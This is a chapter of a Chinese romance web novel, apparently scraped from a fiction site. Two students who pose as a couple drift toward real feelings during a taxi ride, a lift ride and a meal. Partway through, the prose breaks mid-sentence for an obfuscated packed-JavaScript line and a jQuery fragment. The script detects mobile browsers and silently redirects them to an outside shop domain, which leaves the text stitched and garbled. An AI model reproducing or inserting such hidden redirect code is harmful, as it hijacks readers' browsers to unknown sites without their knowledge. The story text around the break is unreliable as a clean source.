“出去聊聊?”
周悉许看了眼卡座,顾屹正看着他们,嘴角挂着一抹似笑非笑的弧度,不知道在想什么。
“嗯。”她点点头。
程又一很自然地牵起她的手,往外走,“配合一下。”
她没甩开。
出了迷鹿,程又一就松了手,他双手抄兜,垂眼看着她,眼神里带着点审视。“为什么躲我?”
“没躲。”周悉许想糊弄过去,掏出手机拨了朱缇的电话。
程又一没制止,就这么站在旁边,耐心等着。铃声一声接一声,直到自动挂断。她又拨了虞筱筱和凌施的,同样没人接。三人的电话,一个都没打通,看来是玩嗨了。
“现在能聊聊了?”程又一慢悠悠开口。
周悉许握着手机的手紧了紧。“嗯。”
“为什么躲我?”他又问了一遍。
“觉得不适合。”
“什么不适合?”
程又一的声音听不出情绪,却没有给她留含糊的余地。
她抬起头,尽量让语气听起来平静。“我们的关系不适合出去吃饭。”
程又一冷笑一声。“什么关系?见不得人?”
周悉许抿了抿唇,“你配合我假装情侣,我很感谢你,但真实是什么情况,你心里也清楚,非必要场合,我觉的还是界限清晰点好。”
程又一轻嗤一声。“那你觉得我演技怎么样?还算逼真吗?”
周悉许没想到他会突然问这个,愣了一下,老实回答,“嗯,挺好的,忽悠住了所有人,要不因为我是当事人,也差点儿被你骗了。”顿了顿,补上一句,“你还挺有天赋的。”
程又一又是一声冷笑,看她的眼神像在看一个无可救药的傻子。“真想看看你脑子里究竟装的是什么。”他捏了捏眉心,过了好几秒,才开口,“既然是假的,你刻意强调界限干什么?”
周悉许被问住了。
是啊,既然是假的,为什么要强调界限?他演他的,自己演自己的,戏散场各走各的,何必多此一举?
除非......
“怕假戏真做?”程又一一语戳中。
“少自作多情。”她立马否认,但话出口得太快,像是在欲盖弥彰。
程又一没再追问,也没反驳,只是看着她,目光不咄咄逼人,却也没打算让她蒙混过关。
她被看得很不自在,别过脸,“我就是觉得没必要,怪累的,也不想太麻烦你。”
“是吗?”
“嗯。”
程又一嘴角一勾,“周悉许,你知不知道,你说谎时候睫毛会抖。”
她下意识抬手去摸眼角。
“看来是假话。”程又一笑声很轻。
她这才意识到自己上当了,指尖停在半空,僵了几秒,才放下来。“话我说得很清楚了,信不信随你。”
“信。”程又一笑着说。嘴上虽然应着,但脸上却明晃晃的写着“不信”俩字。
周悉许没再辩解。有些事,她左右不了。比如程又一怎么想,比如顾屹什么时候会罢休,再比如这场临时起意的戏码何时落幕。
她连自己偶尔的心跳失序都解释不清,又怎么可能控制别人的想法。
夜风拂过脸颊,带走了那点仓皇的燥热。
“先走了。”她说。
“送你。”程又一跟上一步。
“你没喝酒?”
“喝了。”
“那我还是叫代驾吧。”
周悉许掏出手机,还没点开app,程又一已经抬手,拦下一辆出租车。车停稳,他拉开后座门,侧身看她。她想了想,还是坐了进去,程又一跟着上了车。
车门“砰”一声关上,隔绝了外面的喧嚣。车内很安静,只有电台的声音。
司机约么着五十出头,本地口音,从后视镜里往后瞥了一眼。“去哪儿?”
“中央公园。”周悉许回。
司机“嗯”了一声,顺手拧大了音量。
《RainandTears》的前奏从音响里漫出来,老旧的旋律,带着胶片年代特有的质感。
“这歌有年头了,”司机话匣子一下子就打开了,“舒淇和张震演的那部电影,看过伐?特别有感觉,我是舒淇粉丝。”他自顾自地说着,也不管后座有没有人在听。
窗外,霓虹灯影一帧帧闪过。周悉许偏头,看着玻璃上自己模糊的倒影。程又一也没说话,只是把靠她那侧的车窗往上摇了半寸。
见两人都不搭话,司机说了一会儿便不再自讨没趣。
光线昏暗的车里只剩下沧桑沙哑的歌声,透着些不甘,听着挺凄凉,又有点治愈。
“这电影,我看过。”程又一忽然开口,声音像窗外的风,轻飘飘的。
司机罕见没搭话,自动隐身成了透明人。
周悉许转头,“好看吗?”
“还行,文艺片。”
“没看出来,你还是个文青。”周悉许开玩笑说。
程又一也笑了一下,很淡,“刚好那阵子结束了一段单恋。”
“你?单恋?”
周悉许有点意外。这人顶着张能渣全世界的脸,还至于搞单恋?听着挺难让人相信的。
程又一点点头。“和那男主差不多,追着人跑了几个地方,只不过人不知道。”
“你还有这一面呢?”
“嗯,当时年纪小。”
“那后来呢?表白失败了?”周悉许歪着头问。
“没有。”程又一顿了一下,“看到她和别的男生一起,就走了。”
周悉许突然不知道该接什么了,她从没想过,程又一这样的人,也有过那么低声下气的经历。
“没看出来,你还有这么一段?”
程又一看了她一眼。
昏暗里,他的表情看不真切,只有嘴角还挂着那点淡淡的笑。“离开那天,我脑子一直在想男主信里的话。”他停了下来,像在等她问。
“什么话?”
程又一眼神幽深,脸上是惯有的平静,视线始终没离开她,看了半晌,才缓缓开口。
“期待能再见到你。”
周悉许恍惚了一下。她感觉这话......像是对她说的。“那后来呢?走出来了吗?”
程又一只是笑了笑,她也没再追问,又转头看窗外。
车子刚好到了中央公园。
她敷衍着和程又一一道别,推开车门,下去了。程又一让司机等一会儿,也跟着下了车。“送你上楼。”他按了电梯,没给周悉许推脱的余地。
电梯缓缓上行,数字一格一格跳动,出奇地安静。就在周悉许以为沉默会一直持续到顶层时,程又一冷不丁开口了。
“走不出来了。”
她愣了一下,转头看他。
“打算拿下她。”
程又一垂着眼,电梯的灯光把他的轮廓勾勒得柔和了几分。他抬手,很轻地在她发顶拍了一下。“用你这个不太灵光的脑袋好好想。”
“叮——”25层到了。
周悉许呆愣着走出来,回头时,程又一正倚在电梯里,意味深长地朝她摆了摆手。
门缓缓合上。
周悉许站在电梯门前,满脑子都是他今晚说过的话。
“期待能再见到你”。
“走不出来了,打算拿下她”。
当晚,周悉许找到了出租车上放的那首歌,循环了一整晚。歌词唱的是什么,她没听进去,只是心乱乱的。
窗外,天色从漆黑渐渐淡成灰蓝,又散成鱼肚白。她闭上眼,脑袋里像生出一团乱麻,怎么理,都理不清。
*
第二天一早。
周悉许回学校,寝室空无一人,床铺都整整齐齐的。她一连拨出几通电话,都没人接。打到篓恩那里,也是忙音。心里忽然有些发慌,于是赶忙给程又一打过去。
电话响了两声,通了。
“怎么了?”
听筒里传来很低的声音,背景隐约有讲课的声音。
“朱缇她们几个昨晚到现在一直失联,篓恩也不接电话,季行朗回去了吗?”
“没有。”程又一回。
周悉许忽然神经紧绷了。
昨天顾屹也在。
“她们不会是被顾屹带走了吧?”她语速很快,声音里透着压不住的焦急。
对面安静了几秒才说,“我问下顾屹。”
“好,等你消息。”
挂了电话,她没再等,转身跑出了寝室。
申大。
周悉许在教室外面等了几分钟,程又一出来了。
“怎么样?”
“没什么事,走吧,去吃饭,边吃边说。”
周悉许脸色缓和了些,但没抬腿。
见她没动,程又一又说:“这儿人多。”
她四周扫了一圈。正值课间,走廊里人来人往,确实不是说话的地方。
“那走吧。”
两人出了申大,找了家人不算多的小店。店面不大,氛围挺不错,菜品种类也齐全。一进门,浓郁的菜香扑面而来。两人找了个靠窗的位置,视野很好,正对湖景。
周悉许拉出椅子坐下,“现在能说了吧。”
“说什么?”程又一把餐具推到她面前,给她倒了杯水。
“朱缇她们啊,怎么都联系不上?”
“哦,没看见吧。不用那么紧张,没什么事。”程又一淡淡地说,“就算有,也是你情我愿。”
周悉许一头雾水,她脸色沉下来。“什么叫你情我愿?真要是你情我愿,为什么到现在都联系不上?”
“喝多了呗。”程又一语气很淡,没当回事。
见他副轻描淡写的态度,周悉许火了。“我还不清楚你们那个淫贼帮?你们几个什么德行自己心里没数?程又一,你摸良心说,你那三个发小,有一个好人吗?”
一顿疯狂输出,把程又一弄得哭笑不得。
她这模样,是像和男朋友耍脾气的小女生,他心里甚至有几分窃喜。但转念一想,怎么听着自己也被归进那个“淫贼帮”了?
“我怎么也跟着遭殃了?”他叹了口气,“你自己想想,高三一整年,几乎每天晚上咱俩都一起,我对你做过什么?”
周悉许没坑声。仔细回想,程又一确实很有分寸感,从来没做过逾矩的事。就算有几次意外,好像还是她先动的手。
见她不说话,程又一又继续说,“你天天穿个吊带裙晃来晃去,要么就睡觉露个腿,要么就没事往我怀里钻,我动过你吗?”
周悉许
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610364|205265||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
语塞。
这话怎么听着怪怪的?他不是在解释,倒像是在控诉她的罪行。
偏偏还都是事实,她无力反驳。
“我那是……”她底气不足。
“那是什么?”程又一挑眉,眼里带着几分玩味,“周悉许,你自己数数,咱俩认识以来,是谁动不动就上手?”
周悉许张了张嘴,说不出话来。她想起英国的那次“投怀送抱”,以及那些“意外”的触碰。
好像,确实都是她先动的手。
程又一看着她渐渐涨红的耳根,轻轻笑了一声。
“想起来了?”
周悉许没脸承认。
“喝个酸奶,还舔来舔去,但凡换个人,你都不能安然无恙。”
周悉许:“……”
杀敌不成,还反被将了一军。
光是听着他罗列的这“罪状”,周悉许都觉得自己有点……居心不良。她耳根热得发烫,心里是理亏的,但气势上绝不能输。
“我那是考验你,不然怎么放心和你来往?你也算经受住考验了。”
说完这话,她自己都觉得厚颜无耻。但话已落地,收不回来了,索性不要脸到底。“你该庆幸得到这个机会。”
程又一冷哼一声。
正僵持着,手机响了。
周悉许如获大赦,赶忙接起。“喂?朱缇?你在哪儿?”
对面的声音和平时一样,听不出什么异常。“寝室呢,你打这么多电话干嘛?”
“你们昨晚集体失联,我还以为……”周悉许停住了,没把后半句说出来。
“以为什么?”朱缇笑着问,“以为我们被那三个淫贼绑走了?”
“……你说呢。”
电话那头传来一阵窸窸窣窣的声响,像是朱缇翻了个身。“周悉许,你是不是傻?”朱缇笑出声,“就那三货弄得了姑奶奶我?真要是绑,谁绑谁还不一定呢。”
周悉许:“……”
好像……有点道理。
“那你们怎么都不接电话?”
“喝多了补觉呢啊。”朱缇打了个哈欠,“回来说吧,我上个厕所,憋不住了。”
然后,电话被挂断。
周悉许盯着被挂断的手机屏幕,一时不知道该气还是该笑。
“没事了?”程又一放下筷子。
“嗯。”周悉许收起手机,“补觉呢。”
程又一应了声“嗯。”然后,不紧不慢地继续吃饭。
“那个……”周悉许清了清嗓子,“刚才说的那些,你别当真。”
程又一抬眼,“哪些?”
“就是——”她顿了顿,“考验什么的。”
程又一没说话,只是嘴角微微扬了扬。她有些不自在,低头扒拉碗里的饭。
过了一会儿,他叫她:“周悉许。”
“嗯?”
“你那些考验,我还没通过呢。”他慢悠悠地说。
周悉许筷子一顿。
“继续,别停。”
周悉许握着筷子的手紧了紧,她低着头,用筷子戳着碗里剩下的那几粒米,耳根悄悄红了。
*
吃完饭,周悉许回了寝室。
“悉许,你回来了。”虞筱筱正在镜子前贴面膜,从镜子里看了一眼,声音被面膜绷得有些含糊。
闻声,朱缇从床上抻出半个身子,一脸坏笑,“呦,回来了?昨晚过得挺滋润?”
周悉许翻了个白眼,把包扔在桌上,“别说没用的屁话。昨晚到底喝多少啊?全都不接电话。”
朱缇缩回床上,懒洋洋地翻了个身,“记不住了,反正不少。”
“又有什么事突然喝这么多?”她以为朱缇是又听到什么关于周悉丞的风吹草动。
“能有什么事?”朱缇反问。
“真的?”
“不然呢?”朱缇笑了笑,忽然想起了什么,“啊——是有点事,好事,姐给你报仇了。”
“嗯?”
虞筱筱接过话,”昨晚她和顾屹杠起来了?”
周悉许张大嘴,她上下打量朱缇,“干起来了?他动手打你了?”
“借他十个胆。”朱缇轻蔑地一摆手,“是杠,喝酒,姐直接把他喝到桌子底下了,爬都爬不起来,还有篓恩那个废材,也是。”她压着嘴角努力憋笑,“你知道顾屹现在在哪吗?”
周悉许:“……家?”
“医院呢。”朱缇捂着嘴笑,“玩游戏就得愿赌服输,谁让他自己菜。”
周悉许愣了两秒。
所以,程又一口中的“你情我愿”是指顾屹喝进医院的事?
“那你们仨昨天也去医院了?”
“没有,季行朗送那俩货去的。”
手里的手机震动了一下,是程又一发来的消息:
「想好了没?」
周悉许愣住。正要打字问,第二条消息跳出来。
「下次考验,什么时候?」
她盯着那行字,想起了程又吃饭时候说的话,心跳漏了一拍。
手机又震了一下。
程又一:「慢慢想,但也别让我等太久。」
她没回,撇过头望向窗外。
大概是正午的阳光太足了,烤得人浑身发烫,连带着呼吸都乱了。